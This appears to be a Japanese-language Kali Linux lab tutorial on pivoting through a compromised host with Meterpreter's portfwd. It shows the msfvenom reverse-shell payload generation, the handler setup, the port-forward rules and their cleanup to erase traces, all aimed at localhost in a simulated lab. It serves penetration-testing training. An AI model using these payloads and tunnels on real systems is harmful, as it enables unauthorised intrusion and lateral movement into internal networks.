Meterpreter の portfwd を使用したネットワークピボットの実行

Kali LinuxBeginner
オンラインで実践に進む

はじめに

この実験では、ペネトレーションテストにおける基本的なテクニックであるネットワークピボッティングについて学びます。ピボッティングとは、侵害されたシステムを使用して、ご自身のマシンから直接アクセスできない内部ネットワーク上の他のシステムにアクセスするプロセスです。

この目的のために、強力なポストエクスプロイトペイロードである Metasploit の Meterpreter と、そのportfwdコマンドを使用します。侵害されたホストを経由してトラフィックをトンネリングするためのポートフォワーディングの設定方法を学び、あたかも直接接続しているかのように、そのローカルネットワーク上のサービスと対話できるようになります。

ターゲットの内部ネットワーク上のサービスを特定する

このステップでは、ターゲットマシン上で Meterpreter セッションを取得することをシミュレートします。実際のシナリオでは、これは脆弱性を悪用することによって達成されます。この実験では、Metasploit でリスナーを設定し、ペイロードを手動で実行して接続します。これにより、ポストエクスプロイトフェーズに焦点を当てることができます。

まず、Metasploit Framework をインストールする必要があります。

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall

次に、ターミナルを開き、Metasploit コンソールを起動します。

msfconsole -q

msfconsole内で、着信接続をリッスンするハンドラーを設定します。

use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j

ここで、新しいターミナルを開きます(ターミナルタブの「+」ボタンを使用できます)。この新しいターミナルで、リスナーに接続するためのペイロードを生成して実行します。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell.elf
chmod +x shell.elf
./shell.elf

msfconsoleのある最初のターミナルに戻ります。新しいセッションが開かれたことを示すメッセージが表示されるはずです。それにアクセスしましょう。

sessions -l
sessions -i 1

これで Meterpreter セッションに入りました。一般的な最初のステップは偵察を実行することです。「侵害された」ホストのネットワークインターフェイスを確認しましょう。

ifconfig

いくつかのネットワークインターフェイスが表示されます。この実験では、さらなるスキャン(この実験の範囲外です)を通じて、127.0.0.1のポート8080で Web サービスが実行されていることを発見したと仮定します。私たちの目標は、このサービスにアクセスすることです。

Meterpreter の portfwd コマンドを使用する

このステップでは、Meterpreter におけるポートフォワーディングの主要なツールである portfwd コマンドについて説明します。

portfwd コマンドを使用すると、ローカル(攻撃者)マシン上のポートからのトラフィックを、侵害されたホストからアクセス可能な特定の IP とポートにリダイレクトするトンネルを作成できます。これがピボッティングの本質です。

このコマンドにはいくつかのオプションがありますが、ここでは addlist、および delete(または rm)に焦点を当てます。

新しいポートフォワーディングルールを追加するための構文は次のとおりです。

portfwd add -l <local_port> -p <remote_port> -r <remote_host>

add 操作のパラメータを分解してみましょう。

  • -l <local_port>: ローカルマシン(攻撃者マシン)で着信接続をリッスンするポート。リモートサービスにアクセスするためにこのポートに接続します。
  • -p <remote_port>: アクセスしたいターゲットネットワーク上の宛先ポート。この実験では 8080 です。
  • -r <remote_host>: ターゲットネットワーク上の宛先 IP アドレス。このホストは侵害されたマシンから到達可能である必要があります。この実験では 127.0.0.1 です。

次のステップで、このコマンドを使用して、特定した Web サービスのためのフォワードルールを作成します。

侵害されたホストから Kali マシンへポートをフォワードする

portfwd add コマンドを理解したところで、これを使用して内部 Web サービスをローカルマシンにフォワードしましょう。

私たちの目標は、侵害されたホストの視点から 127.0.0.1:8080 で実行されているサービスに、自身のマシン上のポートに接続することでアクセスすることです。この目的のためにローカルポート 8888 を選択しましょう。

Meterpreter セッションで、次のコマンドを実行します。

portfwd add -l 8888 -p 8080 -r 127.0.0.1

このコマンドは、Meterpreter に対してローカルポート 8888 でリッスンし、ターゲットシステム上の 127.0.0.1:8080 への接続をすべてフォワードするように指示します。確認メッセージが表示されるはずです。

[*] Local TCP relay created: 127.0.0.1:8888 -> 127.0.0.1:8080

フォワードは現在アクティブです。あなたのマシン上の localhost:8888 に送信されたトラフィックは、Meterpreter セッションを通じてターゲットのポート 8080 にトンネルされます。

新しいローカルポート経由で内部サービスにアクセスする

ポートフォワーディングが設定されたので、あたかも自分のマシンで実行されているかのように、内部 Web サービスにアクセスできるようになりました。

ご自身のマシンで新しいターミナルを開きます(msfconsoleターミナルは閉じないでください)。

curlのようなコマンドラインツールを使用して、設定したローカルポート(8888)にリクエストを送信します。このリクエストはご自身のローカルマシンに送信されます。

curl http://127.0.0.1:8888

リクエストは、curlクライアントからローカルポート8888へ、Meterpreter セッションを経由して侵害されたホストへ、そして最終的に127.0.0.1:8080の Web サービスへと到達します。結果として、内部 Web ページの HTML コンテンツが表示されるはずです。

<html>
  <body>
    <h1>Internal Service Accessed!</h1>
  </body>
</html>

成功です!ターゲットのネットワークにピボットし、直接到達できなかったサービスにアクセスすることに成功しました。

ポートフォワーディングルールの一覧表示と削除

ピボットの使用を終えたら、痕跡を削除しリソースを解放するために、ポートフォワーディングルールをクリーンアップするのが良い習慣です。

まず、アクティブなポートフォワーディングルールのすべてを一覧表示しましょう。Meterpreter セッションに戻り、portfwd listコマンドを使用します。

portfwd list

アクティブなフォワードのリストを含むテーブルが表示されます。これには、インデックス番号、タイプ、接続の詳細が含まれます。

Active Port Forwards
====================

Index  Type    Local Host  Local Port  Remote Host  Remote Port
-----  ----    ----------  ----------  -----------  -----------
1      forward 127.0.0.1   8888        127.0.0.1    8080

ルールを削除するには、portfwd deleteまたはportfwd rmを使用できます。リストからルールのインデックス番号を指定する必要があります。この場合、インデックスは1です。

ルールを削除するには、次のコマンドを実行します。

portfwd delete -i 1

TCP リレーが停止したことを示す確認メッセージが表示されるはずです。

[*] Stopping TCP relay on 127.0.0.1:8888...
[*] TCP relay stopped

再度portfwd listを実行して、ルールが削除されたことを確認できます。リストは空になっているはずです。これにより、トンネルが閉じられ、マシンがポート8888でリッスンしなくなることが保証されます。

まとめ

この実験では、Meterpreter のportfwdユーティリティを使用したネットワークピボットの基本を学びました。

Meterpreter セッションの取得をシミュレートし、仮説上の内部サービスを特定し、ローカルマシンからターゲットの内部ネットワークへのトラフィックをトンネリングするためのポートフォワードルールを作成することに成功しました。その後、トンネルを介してこの内部サービスにアクセスし、セッションをクリーンアップするためにフォワーディングルールを一覧表示および削除する方法を学びました。

このテクニックはペネトレーションテストにおける基本的なスキルであり、単一の侵害されたホストから内部ネットワーク全体へのアクセスを拡大することを可能にします。